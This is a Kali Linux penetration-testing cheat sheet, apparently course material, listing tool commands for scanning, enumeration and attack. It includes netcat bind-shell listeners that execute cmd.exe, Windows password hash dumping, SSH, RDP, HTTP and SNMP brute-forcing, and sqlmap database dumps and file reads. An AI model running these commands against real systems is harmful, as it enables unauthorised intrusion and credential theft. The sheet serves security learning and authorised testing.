



# Kali Linux Commands Cheat Sheet

Linux skills  
Oregon State University (OSU)  
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# Kali Linux Cheat Sheet

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## Basic Command

COMMAND	DESCRIPTION
grep "substring" target-file	Extract the lines contains "substring"
grep -o "regex" target-file	Same as above with regular expression as input
cut -d "/" -f 3	Split the string by "/" and output the third column
sort -u	Remove duplicate
host "hostname"	Return the IP address of the host name
wc -l access.log	Count the number of line in "access.log"
uniq -c	Add the number of occurrence in front
cat access.log   cut -d " " -f 1   sort   uniq -c   sort -urn	count the number of occurrence and sort it reversely

## Netcat / ncat

COMMAND	DESCRIPTION
nc -nv target -p port	Connect to specific port of the target machine
nc -nlvp port -e filename	Listen in specific port and execute the program after connect
ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl	Listen in port 4444, allow only 10.0.0.4 to connect, execute cmd.exe after connect, encrypt with SSL
ncat -v 10.0.0.22 4444 --ssl	Connect to target at port 4444, encrypt with SSL

## NMAP

COMMAND	DESCRIPTION
nmap -v -sS -A -T4 target	Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
nmap -v -sS -p-A -T4 target	As above but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 target	As above but scans all TCP ports and UDP scan (takes even longer)
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X	Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover
ls /usr/share/nmap/scripts/*   grep ftp	Search nmap scripts for keywords

## Mount File Shares

COMMAND	DESCRIPTION
mount 192.168.1.1:/vol/share /mnt/nfs	Mount NFS share to /mnt/nfs
mount -t cifs -o username=user,password=pass ,domain=blah //192.168.1.X/share-name /mnt/cifs	Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no	Mount a Windows share on Windows from the command line

## SNMP Enumeration

COMMAND	DESCRIPTION
snmpcheck -t 192.168.1.X -c public	SNMP enumeration
snmpwalk -c public -v1 192.168.1.X 1   grep hrSWRunName   cut -d * * -f	SNMP enumeration
snmpenum -t 192.168.1.X	SNMP enumeration
onesixtyone -c names -i hosts	SNMP enumeration

## DNS Enumeration & Transfer

COMMAND	DESCRIPTION
dnsrecon -d megacorpone.com -t axfr	Enum and attempt to transfer target domain
dnsenum zonetransfer.me	Enum and attempt to transfer target domain

## SMB Enumeration

COMMAND	DESCRIPTION
nbtscan 192.168.1.0/24	Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ip	Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

## HTTP Enumeration

COMMAND	DESCRIPTION
nikto -h 192.168.1.1	Perform a nikto scan against target
dirbuster	Configure via GUI, CLI input doesn't work most of the time

## Packet Inspection

COMMAND	DESCRIPTION
<code>tcpdump tcp port 80 -w output.pcap i eth0</code>	tcpdump for port 80 on interface eth0, outputs to output.pcap
Wireshark	GUI tools that perform packet inspection

## Password Generation

COMMAND	DESCRIPTION
<code>/usr/share/wordlists/</code>	Kali password list
<code>crunch 6 0123456789ABCDEF -o crunch1.txt</code>	Generate password list with only 0-9, A-F character, length = 6, output to crunch1.txt
<code>crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha</code>	Generate password list with specific character set, length = 4
<code>cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt</code>	Generate password list from megacorpone website and output to megacorp-cewl.txt
<code>nano /etc/john/john.conf john --wordlist=megacorp-cewl.txt --rules --stdout &gt; mutated.txt</code>	Mutate password according to the rules

## Password Cracking

COMMAND	DESCRIPTION
<code>fgdump.exe</code>	Dump windows password hash
<code>wce -w</code>	Dump the windows clear text password
<code>medusa -h 10.11.1.219 -u admin -P password-file.txt -M http -m DIR:/admin -T 10</code>	HTTP Bruteforce
<code>ncrack -vv --user offsec -P password-file.txt rdp://10.11.1.35</code>	RDP Bruteforce
<code>hydra -P password-file.txt -v 10.11.1.219 snmp</code>	SNMP Bruteforce
<code>hydra -l root -P password-file.txt 10.11.1.219 ssh</code>	SSH Bruteforce

## Port Forward

COMMAND	DESCRIPTION
<code>ssh &lt;gateway&gt; -L &lt;local port to listen&gt;:&lt;remote host&gt;:&lt;remote port&gt;</code>	Local port forward. 127.0.0.1:<port> is now redirected to the remote host
<code>ssh &lt;gateway&gt; -R &lt;remote port to bind&gt;:&lt;local host&gt;:&lt;local port&gt;</code>	Remote port forward. Access 127.0.0.1:<port> now to connect to the remote host at remote binded port
<code>ssh -D &lt;local proxy port&gt; -p &lt;remote port&gt; &lt;target&gt;</code>	Dynamic port forward. We created a SOCK proxy at local machine now.

## SQL Map

COMMAND	DESCRIPTION
<code>sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3</code>	Automated sqlmap scan
<code>sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"</code>	Targeted sqlmap scan
<code>sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump</code>	Scan url for union + error based injection with mysql backend and use a random user agent + database dump
<code>sqlmap -o -u "http://meh.com/form/" --forms</code>	sqlmap check form for injection
<code>sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users --dump</code>	sqlmap dump and crack hashes for table users on database-name.